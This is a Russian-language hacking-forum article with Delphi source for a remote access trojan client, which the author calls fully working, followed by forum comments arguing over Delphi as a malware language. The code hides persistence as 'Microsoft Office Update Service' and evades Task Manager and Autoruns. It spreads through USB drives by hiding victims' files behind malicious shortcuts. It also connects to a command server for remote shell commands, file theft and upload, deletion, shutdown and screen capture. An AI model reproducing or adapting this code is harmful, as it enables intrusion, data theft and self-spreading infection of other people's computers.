OldParrent:=0; //Инициализируем переменную
ValuesT:=0; //Инициализируем переменную
CreateMutex(NIL, FALSE, MyMutex); //Создаем мьютекст (Защита от повторного запуска)
if GetLastError = ERROR_ALREADY_EXISTS then ExitProcess(0); //Если софт с таким мьютексом уже запущен значит закрываемся
SetProcessDpiAwareness(PROCESS_SYSTEM_DPI_AWARE); //Устанавливаем DpiAwaress о котором я говорил выше
PCInfo:='<|Info|>:'+User_CompName+':'+RegQueryStr(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName')+':'+RegQueryStr(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0','ProcessorNameString');//Собираем инфу о ПК
end;

Код:

procedure ShellApik(FileName: string); //Процедура для запука программ
var   pi: TProcessInformation;
      si: TStartupInfo;
begin
ZeroMemory(@si,sizeof(si));
si.cb := SizeOf(si);
CreateProcess(PChar(FileNAme), nil ,nil, nil, false, 0, nil,nil,si,pi);
end;

function User_CompName: string; //получаем имя пользователя и ПК
var
  UserNameLen, CompNameLen : Dword;
  Compbuf, Userbuf: array[0..255] of char;
begin
  UserNameLen := 255;
  GetUserName(Userbuf, UserNameLen);
  GetComputerName(Compbuf,CompNameLen);
  Result := PChar(@Userbuf)+'@'+PChar(@Compbuf);
end;

function RegQueryStr(RootKey: HKEY; Key, Name: string; Success: PBoolean = nil): string; //Читаем значения из реестра
var
  Handle: HKEY;
  Res: LongInt;
  DataType, DataSize: DWORD;
begin
  if Assigned(Success) then Success^ := False;
  Res := RegOpenKeyEx(RootKey, PChar(Key), 0, KEY_QUERY_VALUE, Handle);
  if Res <> ERROR_SUCCESS then Exit;
  Res := RegQueryValueEx(Handle, PChar(Name), nil, @DataType, nil, @DataSize);
  if (Res <> ERROR_SUCCESS) or (DataType <> REG_SZ) then
    begin
      RegCloseKey(Handle);
      Exit;
    end;
  SetString(Result, nil, DataSize - 1);
  Res := RegQueryValueEx(Handle, PChar(Name), nil, @DataType,
  PByte(@Result[1]), @DataSize);
  if Assigned(Success) then Success^ := Res = ERROR_SUCCESS;
  RegCloseKey(Handle);
end;

И того у нас получается невидимая папка

Теперь создаем потоки о которых я говорил в теоритической части статьи

Код:

procedure CheckReg;
var hwd: HWND;
    FrameData: string;
begin
while True Do
    begin
  sleep(350);
    FrameData:=GetDosOutPut('reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s'); //Получаем программы которые есть в автозагрузке
    if (FindWindow('RegEdit_RegEdit', nil)<>0) or (FindWindow('Autoruns', nil)<>0)
          or (FindWindow('PiriformCCleaner', nil)<>0) or (FindWindow('TaskManagerWindow', nil)<>0) then //Если вдруг одна из этих(AutoRuns, Ccleaner, Редактор реестра, Диспетчер задач) программ выполняется, то удаляемся из автозагрузки
        begin
      if pos(DropName, FrameData)<>0 then
        GetDosOutput('REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Office Update Service" /f');
    end
      else
    begin //Если же эти программы не запущены, то проверяем есть ли мы в автозагрузк, если нас там нет, то добавляемся как Microsoft Office Update Service
      if pos(DropName, FrameData)=0 then
        GetDosOutput('REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Office Update Service" /t REG_SZ /d "'+DropPath+DropName+'"');
    end;
    end;
end;

данный поток будет находить программы не по их названию окна, а названию класса окна, т.к. винда может быть на разных языках, и заголовок окна будет всегда разный, но не класс

Это паблик функция выполнения командной строки, которую можно легко нагуглить, только вот мне немного пришлось ее подредактировать что бы символы нормально отображались, она основана на Пайпах

Код:

function GetDosOutput(CommandLine: string; Work: string = 'C:\'): String;
var
  SA: TSecurityAttributes;
  SI: TStartupInfo;
  PI: TProcessInformation;
  StdOutPipeRead, StdOutPipeWrite: THandle;
  WasOK: Boolean;
  Buffer, BufText: array[0..255] of AnsiChar; //подправил указатель чтобы не было китайских символов
  BytesRead: Cardinal;
  WorkDir: string;
  Handle: Boolean;
begin
  Result := '';
  with SA do begin
    nLength := SizeOf(SA);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;
  CreatePipe(StdOutPipeRead, StdOutPipeWrite, @SA, 0);
  try
    with SI do
    begin
      FillChar(SI, SizeOf(SI), 0);
      cb := SizeOf(SI);
      dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
      wShowWindow := SW_HIDE;
      hStdInput := GetStdHandle(
          STD_INPUT_HANDLE); // не переадресовывать stdinput
      hStdOutput := StdOutPipeWrite;
      hStdError := StdOutPipeWrite;
    end;
    WorkDir := Work;
    Handle := CreateProcess(nil, PChar('cmd.exe /C ' + CommandLine),
                            nil, nil, True, 0, nil,
                            PChar(WorkDir), SI, PI);
    CloseHandle(StdOutPipeWrite);
    fillChar(Buffer, SizeOf(Buffer), 0);
    fillChar(BufText, SizeOf(BufText), 0);
    if Handle then
      try
        repeat
          WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);
          if BytesRead > 0 then
          begin
            Buffer[BytesRead] := #0;
            OemtoAnsi(Buffer, BufText);
            Result := Result + BufText;
          end;
        until not WasOK or (BytesRead = 0);
        WaitForSingleObject(PI.hProcess, INFINITE);
      finally
        CloseHandle(PI.hThread);
        CloseHandle(PI.hProcess);
      end;
  finally
    CloseHandle(StdOutPipeRead);
  end;
end;

Логика заражения флешки следующая. Софт проверяет диски, если вдруг один из этих дисков флешка, то мы создаем на ней папку FilesH с атрибутом скрытая, а в ней создаем еще одну папку 682, сюда самокопируемся. Все файлы то что есть на флешке перемещаем по пути FilesH, и к каждому файлу создаем ярлык который будет оновременно запускать и наш вирус из папки FilesH\682 и сам файл которому принадлежит ярлык. Данный алгоритм я подглядел у другого трояна, которым заразил свою флешку когда пошел распечатывать реферат в ближайшем интернет-кафе

Код:

procedure CheckFlash;
var
  i: integer;
  LogDrives: set of 0..25;
  LongIland, DiskList: ansistring;
  sRec: TSearchRec;
  isFound: boolean;
begin
while true do
  begin
  sleep(350);
    DiskList:='';
      integer(LogDrives) := GetLogicalDrives;
      for i := 0 to 25 do
        begin
        if (i in LogDrives) then
          DiskList:=DiskList+(chr(i + 65));
        end;
   if Length(disklist)>1 then
     for i := 1 to Length(disklist) do
      begin
      if GetDriveType(PChar(disklist[i] + ':\')) = DRIVE_REMOVABLE then
        begin
        LongIland:='';
        if  not(FileExists(disklist[i]+':\FilesH\682\585878659.exe'))  then
          begin
          ForceDirectories(disklist[i]+':\FilesH\682');
          CopyFile(PChar(ParamStr(0)),pchar(disklist[i]+':\FilesH\682\585878659.exe'),true);
          FileSetAttr(disklist[i]+':\FilesH', faHidden);
          end;
        isFound := FindFirst( disklist[i] + ':\*.*', faAnyFile, sRec ) = 0;
        while isFound do
          begin
          if (pos('.lnk', Srec.Name)=0) and (pos('System', Srec.Name)=0) and (pos('FilesH', Srec.Name)=0) then
            begin
            MoveFile(PChar(disklist[i]+':\'+Srec.Name), PChar(disklist[i]+':\FilesH\'+SRec.Name));
            LongIland:=LongIland+SetAparts(disklist[i], Srec.Name);
            end;
          isFound := FindNext(sRec) = 0;
          end;
        FindClose(sRec);
        if LongIland<>'' then
          begin
          FileSaveText(disklist[i]+':\FilesH\v123i.vbs',LongIland);
          GetDosOutput(disklist[i]+':\FilesH\v123i.vbs');
          DeleteFile(disklist[i]+':\FilesH\v123i.vbs');
          end;
        end;
      end;
  end;
end;

Код:

function SetAparts(Disk, name: string): string;
begin
Result:=
  'set WshShell = WScript.CreateObject("WScript.Shell" )'+#13#10+
  'set oShellLink = WshShell.CreateShortcut("'+disk+':\'+name+'.lnk" )'+#13#10+
  'oShellLink.TargetPath = "C:\Windows\System32\cmd.exe"'+#13#10+
  'oShellLink.Arguments = "/c st^art FilesH\682\585878659.exe & ""FilesH\'+name+'"""'+#13#10+
  'oShellLink.IconLocation = """'+disk+':\FilesH\'+name+'"""'+#13#10+
  'oShellLink.WindowStyle = 7'+#13#10+
  'oShellLink.Save'+#13#10;
end;

procedure FileSaveText( const FileName: string; const Data: ansistring);
var f: thandle;
    dwWrite: DWORD;
begin
   F:= CreateFile( PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
   if Data <> '' then WriteFile(F, Data[1], Length(Data), dwWrite, nil);
   CloseHandle(F);
end;

Данный поток будет проверять подгружены ли в софт DLL`ки из других дирректорий кроме :\windows\ если такие dll имеются то клиент просто закрывается

Код:

procedure ChechInjectedDll;
type
  TModuleArray = array [0..400] of HMODULE;
  EnumModType = function (hProcess: Longint; lphModule: TModuleArray; cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
  psapilib: HModule;
  EnumProc: Pointer;
  ma: TModuleArray;
  I: integer;
  tampers: string;
  FileName: array[0..MAX_PATH] of Char;
begin
psapilib := LoadLibrary('psapi.dll');
if psapilib = 0 then Exit;
EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
while true do
  begin
  sleep(350);
    try
      FillChar(ma, SizeOF(TModuleArray), 0);
      if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
        begin
        for I := 1 to 400 do
          if ma[i] <> 0 then
          begin
            GetModuleFileName(ma[i], FileName, MAX_PATH);
            if Pos(':\windows\', AnsiLowerCase(FileName))=0 then  
              begin
               FreeLibrary(psapilib);
               closesocket(FSocket);
               WSACleanup;
               ExitProcess(0);
              end;
          end;
        end;
    except end;
  end;
end;

Теперь пишем основной код Клиента

Код:

begin
Sleep(1000);
InstallAllinstances();
createthread(nil, 0, @CheckFlash, nil, 0, pdword(0)^);
createthread(nil, 0, @ChechInjectedDll, nil, 0, pdword(0)^);
createthread(nil, 0, @CheckReg, nil, 0, pdword(0)^);
while True do
  begin
  WSAStartup(MAKEWORD(2,0), D); //Инициализируем winsock
  FSocket:=socket(AF_INET,SOCK_STREAM,0); //инициализируем сокет
  A.sin_family:=AF_INET;
  A.sin_port:=htons(ServerPort);
   repeat
     try
       A.sin_addr.S_addr:=PLongint(gethostbyname(ServerHost)^.h_addr_list^)^;  //По хостнейму узнаем IP
     except
       A.sin_addr.S_addr:=inet_addr(Pansichar(String('127.0.0.1'))); //Данная обработка нужна на тот случай если у бота вылетет интернет, клиент тупа себя спалит без этой обработки т.к. вылетит ошибка
     end;
   Sleep(Timeout);
   until connect(FSocket,A,sizeof(A)) = 0;
  sleep(1000); //Даем серверу немного времени на добавление клиента к себе
  while true do
    begin
    StrCommand:='';
    Again:
    RecBuffer:='';
    RecBuffer:=SetPArt; //Т.к. сокет находится в блокирующем режиме, данная функция будет ждать ответа от сервера
    if Length(RecBuffer) = 0 then Inc(OldParrent); //Либо при разьединении соединения будет возвращать 0
    if Length(RecBuffer) > 0 then OldParrent:=0; //Именно так мы и поймем что связь оборвалась
    if OldParrent >  1000 then break; // И соответственно выходим из цикла
    if Length(RecBuffer)<>0 then
      begin
      StrCommand:=StrCommand+RecBuffer; //Так же как и на сервере команды стакаются в одну переменную пока не получат знак об окончании передачи
      if Pos('$END$', StrCommand)=0 then
        begin //Если не нашли знака то проверяем находимся ли мы в режиме передачи данных
        if Reciving then
          begin
          Inc(ValuesT, StrCommand.Length);
          WriteLn(UPLOADFile, StrCommand); //Если в режиме приема то записываем файл
          SendTxt('Length:'+inttostr(ValuesT)+'<'); //И отправляем серверу отчет сколько записали
          StrCommand:='';
          end;
        Goto Again //С помощью метки циклично переходим к повторению кода
        end else Delete(StrCommand, POS('$END$', StrCommand), Length(StrCommand)); //Если все заебумба то удаляем символ конца и проверяем комманды
      if Reciving then
        begin //Если мы добрались до отсюда и оказывается что режим приема включен то говорим серверу, мол у меня все заебись, файл принял
        CloseFile(UPLOADFile);
        SendTxt('<Uploaded>');
        Reciving:=false;
        StrCommand:='';
        ValuesT:=0;
        end;
      if StrCommand = '<|PING|>' then SendTxt('PONG') else
      if StrCommand = '<Ready>' then SendTxt(PCInfo) else
      if POS('UPLOAD:', StrCommand)<>0 then
        begin //Как раз таки переходим в режим приема файла
        Delete(StrCommand, 1, 7);
        Reciving:=true;
        Assignfile(UPLOADFile, StrCommand);
        Rewrite(UPLOADFile);
        end else
      if POS('Start:', StrCommand)<>0 then
        begin //запуск программы
        Delete(StrCommand, 1, 6);
        GetDosOutPut('start '+StrCommand);
        end else
      if pos('Download:', StrCommand)<>0 then
        begin //Отправляем файл серверу
        Delete(StrCommand, 1, 9);
        SendTxt('GoFile:'+FileOpenText(StrCommand));
        end else
      if Pos('DelDirs:', StrCommand)<>0 then
        begin //Удаляем дирректорию
        Delete(StrCommand, 1, 8);
        RemoveDirectory(Pchar(StrCommand));
        end else
      if POS('DelFile:', StrCommand)<>0 then
        begin //Удаляем файл
        Delete(StrCommand, 1, 8);
        DeleteFile(StrCommand);
        end else
      if POS('FilePath:',StrCommand)<>0 then //
        begin Получаем все файлы в определенной дирректории
        Delete(StrCommand, 1, 9);
        SendTxt('FilePathRecaive:'+GetAllFiles(StrCommand));     //
        end else
      if POS('CMD:',StrCommand)<>0 then
        begin //Выполняем консольные комманды
        Delete(StrCommand, 1, 4);
        SendTxt('CMD:'+GetDosOutput(StrCommand));
        end else
      if 'close' = StrCommand then
        begin //Закрываемся
        closesocket(FSocket);
        WSACleanup;
        ExitProcess(0);
        end else
      if 'restart' = StrCommand then
        begin //Перезапускаемся, именно за этим и нужен слип в начале, иначе из за мьютекса просто не перезапустится, ну либо можно просто обнулить здесь мьютекст и тогда нам не понадобится слип в начале
        closesocket(FSocket);
        WSACleanup;
        ShellApik(ParamStr(0));
        ExitProcess(0);
        end else
      if StrCommand = 'delete' then
        begin //Самоудаляемся через батник, не лучший вариант конечно, но все же, следовало бы конечно сначало разрушить поток автозагрузки, удалиться из автозагрузки потом выполнять вот этот код
        closesocket(FSocket);
        WSACleanup;
        FileSaveText(ExtractFilePath(ParamStr(0))+'delete.bat', 'del ' + ExtractFileName(ParamSTR(0))+sLineBreak+'del delete.bat');
        ShellApik('Delete.bat');
        ExitProcess(0);
        end else
      if StrCommand = 'ShutDown' then
        begin //Вырубаем ПК
        closesocket(FSocket);
        GetDosOutput('shutdown -s -t 0');
        WSACleanup;
        ExitProcess(0);
        end else
      if StrCommand = 'SLEEP' then
        begin //Отправляем в сон Пк
        GetDosOutput('shutdown -h');
        end else
      if StrCommand = 'Reboot' then
        begin //Перезагружаем
        closesocket(FSocket);
        GetDosOutput('shutdown -r -t 0');
        WSACleanup;
        ExitProcess(0);
        end else
      if StrCommand = 'DESP:ST' then
        begin
          try
          buf:='';
          Scrn := CreateDC('DISPLAY', nil, nil, nil);
          width := GetSystemMetrics(SM_CXSCREEN); //Получаем размеры монитора
          height := GetSystemMetrics(SM_CYSCREEN);
          Mem := CreateCompatibleDC(Scrn);
          Bmp := CreateCompatibleBitmap(Scrn, width, height);
          Old := SelectObject(Mem, Bmp);
          BitBlt(Mem, 0, 0, width, height, Scrn, 0, 0, SRCCOPY); //Срисовываем рабочий стол
          SelectObject(Mem, Old);
            //В результате у нас получается данных на 8 мб. эт очень много, по этому приводим скрин в формат jpeg с помощью gdi+
          CreateStreamOnHGlobal(0, false, ABC);
          GdipCreateBitmapFromHBITMAP(Bmp, 0, image);
          GetEncoderClsid('image/png', encoderClsid);
          GdipSaveImageToStream(Image, ABC, @encoderClsid, nil);
          ABC.Seek(0, 2, sz);
          ABC.Seek(0, 0, uint64(nil^));
          SetLength(buf, sz);
          ABC.Read(Pointer(buf), sz, 0); //Переводим в string


          alla.cbSize:=sizeof(alla);
          GetCursorInfo(alla); //Все это отправляем по сокету в виде текста
          SendTxt('Fraps|'+inttostr(alla.ptScreenPos.X)+'|'+inttostr(alla.ptScreenPos.Y)+'|'+inttostr(alla.hCursor)+'|'+buf);
          //Освобождаем занятую память
          ABC:=nil;
          DeleteDC(Mem);
          DeleteDC(Scrn);
          DeleteObject(Bmp);
          except  end;
        end;
      strCommand:=''; //Затираем полностью команду которую получили
      RecBuffer:='';
      end;
    end;
  closesocket(FSocket); //Закрываем сокет
  WSACleanup; //Финализируем winsock
  end;
end.

Ну это элеентарно, функция сделана чисто для удобства что бы просто указал данные которые надо отправить и все.

Код:

Function SendTxt(tokar: ansiString):Boolean;
Begin
  Send(FSocket, Pointer(tokar+'$END$')^, length(tokar+'$END$'),0);
end;

Думаю название функции говорит само за себя получаем список файлов, их размер и дату изменения, формируем это все в виде столбика для удобства

Код:

function GetAllFiles(Path: string): string;
var
sRec: TSearchRec;
isFound: boolean;
st: string;
begin
if DirectoryExists(Path) then
  begin
  Result:='';
  isFound := FindFirst( Path + '\*.*', faAnyFile, sRec ) = 0;
  while isFound do
    begin
    if ( sRec.Name <> '.' ) and ( sRec.Name <> '..' ) then
      begin
      if ( sRec.Attr and faDirectory ) = faDirectory then st:='DIR' else st:='None';
      Result:=Result+sRec.Name+'|'+DateTimeToStr(sRec.TimeStamp)+'|'+inttostr(sRec.Size)+'|'+st+'|'+sLineBreak;
      end;
    isFound := FindNext( sRec ) = 0;
    end;
  FindClose( sRec );
  end
    else
  begin
    Result:='PathNotExists';
  end;
end;

Эта функция взята из VCL компонента клиента и немного переделана под мои нужны, здесь мы как раз таки и получаем данные от сервера, можно сказать один из самых ключевых моментов крысы. ioctlsocket с параметром FIONREAD возвращает нам размер данных, находящихся во входном буфере сокета, в байтах.

Код:

function SetPArt: ansistring;
var
  iCount, topic, ridic: Integer;
begin
ioctlsocket(FSocket, FIONREAD, Longint(Ridic));
SetLength(Result, Ridic);
if ioctlsocket(FSocket, FIONREAD, iCount) = 0 then
  if (iCount > 0) and (iCount < Ridic) then Ridic := iCount;
topic := recv(FSocket, Pointer(Result)^, ridic, 0);
SetLength(Result, topic);
end;

По весу клиент выходит примерно на 208кб., это из-за GDI+, если не использовать его и импортировать все необходимые функции вручную, то можно сократить общий обьем до 50кб, при переписывании кода на Delphi 7 вес уменьшается до 30кб., либо вы можете поступить еще хардкорнее и импортировать вручную функции winsock, и того 16кб. информация для тех кто сильно беспокоется на счет веса клиента.

Заключение
Спасибо что дочитали статью до конца, в данный проект я вложил душу и частичку себя, по-этому я надеюсь что вы оцените его по достоинству, код предоставленный здесь полностью рабочий если собрать его как надо, если же во время написания софта по моему коду у вас внезапно возникнут какие-то несостыковки или вопросы, можете написать мне в теме или в личку, отвечу на все вопросы. Подитоживая, мы имеем полностью рабочий ратник с функциями демонстрации экрана, файлового менеджера, заражения флешек и CMD, да я знаю функционал не такой уж и большой, но это самые важные функции, при желании ни составит труда дописать какую нибудь функцию самостоятельно, я постарался максимально просто довести до вас такую трудную тему, в одной статье. Так же хотелось бы услышать здравую критику по коду. Всем удачи в конкурсе.

Литература

Windows Sockets 2 - Win32 apps
Сокеты — Сетевое программирование

lecturesnet.readthedocs.io
Ð˜ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ðµ ÑÐ¾ÐºÐµÑ‚Ð¾Ð² Ð² Delphi. Ð§Ð°ÑÑ‚ÑŒ Ð¿ÐµÑ€Ð²Ð°Ñ: ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ñ‹Ðµ ÑÐ¾ÐºÐµÑ‚Ñ‹

Delphi Programmer Club. Ð’Ð¸Ñ€Ñ‚ÑƒÐ°Ð»ÑŒÐ½Ñ‹Ð¹ ÐºÐ»ÑƒÐ± Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð¸ÑÑ‚Ð¾Ð² Ð½Ð° Ð”ÐµÐ»ÑŒÑ„Ð¸.

www.delphikingdom.com
Delphi глазами хакера (Фленов)
Библия Delphi (Фленов)

yashechka · 06.10.2020

Одно вложение осталось невложенным.

KNOWNAME · 06.10.2020

Лол и - это идет на конкурс статей, видимо совсем все у хсс плохо...

Мне хватило того, что ты dclsockets юзаешь, а не TIdTCPServer, после этого дальше я смотреть не стал.
Та и писать малварь на делфи в 2020 году - это, как минимум, гейство.

yashechka · 06.10.2020

Чем тебе делфи не угодил. Может чел его лучше всего знает?

KNOWNAME · 06.10.2020

yashechka сказал(а):

Чем тебе делфи не угодил. Может чел его лучше всего знает?

Ой мля, какая разница, что он лучше всего знает? Писать малварь на делфи - идиотизм, ТЛС калл и вес явно не играют на руку делфе(и это лишь малое).
И если с сервером проблем нету, ибо на делфи можно делать быстро GUI и вес там особо не играет роль, то делать клиент на делфи - это гениальная тупость.

yashechka · 06.10.2020

А где же твоя статья ? ))

KONUNG · 06.10.2020

KNOWNAME сказал(а):

Ой мля, какая разница, что он лучше всего знает? Писать малварь на делфи - идиотизм, ТЛС калл и вес явно не играют на руку делфе(и это лишь малое).
И если с сервером проблем нету, ибо на делфи можно делать быстро GUI и вес там особо не играет роль, то делать клиент на делфи - это гениальная тупость.

Вот это я понимаю конструктивная критика, разложил все по полочкам, я аж задумался о смысле бытия, ведь ты привел столько аргументов для подтверждения своих слов

Haunt · 06.10.2020

yashechka сказал(а):

Чем тебе делфи не угодил. Может чел его лучше всего знает?

Дело не в авторе, делфи мертв. Допустим я его не знаю. Мне никакого резона нет учить его специально, чтобы понять статью.

KNOWNAME сказал(а):

И если с сервером проблем нету, ибо на делфи можно делать быстро GUI

И на сервере его его юзать бред ещё тот. Самый простой вопрос. Зачем нагружать сервер GUI, используя при этом серверную ОС с наличием гуи. Если гуи можно отдать на откуп браузеру пользователя. Это первое. Второе - параллельная работа с командой за одним софтом, при таком гуи это невозможно или будет через задницу. Для этого и придумали многопоточный/асинхронный сервер, способный обрабатывать параллельно несколько запросов с разных фронтендов.

yashechka сказал(а):

А где же твоя статья ? ))

Я хоть и не несу яйца, но протухшее куриное могу легко отличить от нормального))

KNOWNAME · 06.10.2020

KONUNG сказал(а):

Вот это я понимаю конструктивная критика, разложил все по полочкам, я аж задумался о смысле бытия, ведь ты привел столько аргументов для подтверждения своих слов

Хорошо, если делфи пригоден для малвари, то приведи пример нормальной малвы на нем.

KNOWNAME · 06.10.2020

Haunt сказал(а):

Дело не в авторе, делфи мертв. Допустим я его не знаю. Мне никакого резона нет учить его специально, чтобы понять статью.

И на сервере его его юзать бред ещё тот. Самый простой вопрос. Зачем нагружать сервер GUI, используя при этом серверную ОС с наличием гуи. Если гуи можно отдать на откуп браузеру пользователя. Это первое. Второе - параллельная работа с командой за одним софтом, при таком гуи это невозможно или будет через задницу. Для этого и придумали многопоточный/асинхронный сервер, способный обрабатывать параллельно несколько запросов с разных фронтендов.

"И на сервере его его юзать бред ещё тот." - я говорил про конкретно его случай, а не вобщем.

n1ppyyyy · 06.10.2020

KNOWNAME сказал(а):

Лол и - это идет на конкурс статей, видимо совсем все у хсс плохо...

Мне хватило того, что ты dclsockets юзаешь, а не TIdTCPServer, после этого дальше я смотреть не стал.
Та и писать малварь на делфи в 2020 году - это, как минимум, гейство.

Ну а я малварь на питоне "пишу". И что?
В общем жду от тебя статьи, посмотрим =)

ps
yashechka, сори. случайно упомянул.

yashechka · 06.10.2020

Delphi 10.4 Sydney
Выпущена 26 мая 2020 года.

Основные возможности Delphi 10.4.1[17]:

Существенные расширения для Windows: улучшения для приложений на мониторах 4K High DPI, интеграция с новым WebView2 на базе Chromium, использование расширенных title bars, таких же, как в Office, Explorer, Google Chrome
Управление памятью в Delphi теперь стандартизовано на всех поддерживаемых платформах – мобильных, настольных и серверных – используя классическую реализацию управления памятью объектов
Существенное улучшение Delphi Code Insight (без возможной блокировки IDE – в отдельном процессе), что поможет при работе с большими проектами
Тип данных Delphi «record» теперь поддерживают произвольные инициализацию, финализацию и операции копирования
Расширенная поддержка библиотек C++: ZeroMQ, SDL2, SOCI, libSIMDpp и Nematode
Win 64-Отладчик (на на LLDB) и сборщик для C++
Улучшения для С++: Включено большое число улучшений STL из Dinkumware
Поддержка Metal Driver GPU для macOS и iOS
Встроенный FMXLinux
Компонент TWebBrowser для iOS теперь реализован на WKWebView API. Реализация компонента Media Player для macOS теперь использует AVFoundation. Реализованный заново стилизуемый FMX компонент TMemo на платформе Windows значительно улучшен и теперь имеет отличную поддержку IME
Многочисленные улучшения скорости и стабильности работы нашей библиотеки The Parallel Programming Library (PPL)
Добавлены обновленные драйверы для FireBird, PostgreSQL и SQLite
Клиентские библиотеки HTTP и REST Client расширены дополнительными возможностями работы по HTTPS. Также были расширены возможности поддержки Amazon AWS services
В технологию Visual LiveBindings внесено множество улучшений, в том числе, касающихся быстродействия приложений на VCL и FireMonkey

yashechka · 06.10.2020

Покажите пжста где он мертв?

KONUNG · 06.10.2020

KNOWNAME сказал(а):

Хорошо, если делфи пригоден для малвари, то приведи пример нормальной малвы на нем.

Оригинальный Azorult был написан на Delphi
Теперь жду твои аргументы, рас уж на то пошло

Haunt сказал(а):

Дело не в авторе, делфи мертв. Допустим я его не знаю. Мне никакого резона нет учить его специально, чтобы понять статью.

И на сервере его его юзать бред ещё тот. Самый простой вопрос. Зачем нагружать сервер GUI, используя при этом серверную ОС с наличием гуи. Если гуи можно отдать на откуп браузеру пользователя. Это первое. Второе - параллельная работа с командой за одним софтом, при таком гуи это невозможно или будет через задницу. Для этого и придумали многопоточный/асинхронный сервер, способный обрабатывать параллельно несколько запросов с разных фронтендов.

Я хоть и не несу яйца, но протухшее куриное могу легко отличить от нормального))

Первое так это уже речь о ботнете идет, второе данный сервер спокойно может обработать ответы от нескольких клиентов, и причем спокойно.

KNOWNAME · 06.10.2020

KONUNG сказал(а):

Оригинальный Azorult был написан на Delphi
Теперь жду твои аргументы, рас уж на то пошло

Первое так это уже речь о ботнете идет, второе данный сервер спокойно может обработать ответы от нескольких клиентов, и причем спокойно.

1)"Azorult - нормальный малварь". Орууууууууууу.
2) "второе данный сервер спокойно может обработать ответы от нескольких клиентов" - Может, но не одновременно xD.

Haunt · 06.10.2020

KONUNG сказал(а):

Оригинальный Azorult был написан на Delphi

Ну так азорульт хуета как бы, с точки зрения кода. Расписывать почему - надоело. У меня в профиле в сообщениях найди, я детально расписывал почему.

n1ppyyyy · 06.10.2020

KNOWNAME сказал(а):

1)"Azorult - нормальный малварь". Орууууууууууу.

Орууууууууууу.

С тобой все ясно)
Ори в лесу, леший.

хотелось бы услышать, какой в твоих глазах "нормальный" малварь =)

KNOWNAME · 06.10.2020

NaMneCash сказал(а):

С тобой все ясно)
Ори в лесу, леший.

хотелось бы услышать, какой в твоих глазах "нормальный" малварь =)

Ну нормальным, с нятяжкой, можно айсид назвать.

SingleAdwice · 06.10.2020

NaMneCash сказал(а):

С тобой все ясно)
Ори в лесу, леший.

хотелось бы услышать, какой в твоих глазах "нормальный" малварь =)

он прав.

Азор это пример стабильного кода, но отнюдь не хорошего, ибо за годы эксплуатации там столько говно накручено было, что сам кодер уже мало что мог поменять, проще было бы написать новый продукт с нуля.

KONUNG · 06.10.2020

SingleAdwice сказал(а):

он прав.

Азор это пример стабильного кода, но отнюдь не хорошего, ибо за годы эксплуатации там столько говно накручено было, что сам кодер уже мало что мог поменять, проще было бы написать новый продукт с нуля.

А разве стабильность это не главный приоритет хорошего софта, главное ведь стабильность, не?

Статья Пишем ратник с нуля и навека

RAID-массив

Вложения

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

HDD-drive

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

HDD-drive

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

RAID-массив

PWSH

HDD-drive

HDD-drive

(L1) cache

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

RAID-массив

HDD-drive

PWSH

(L1) cache

HDD-drive

(L1) cache

RAID-массив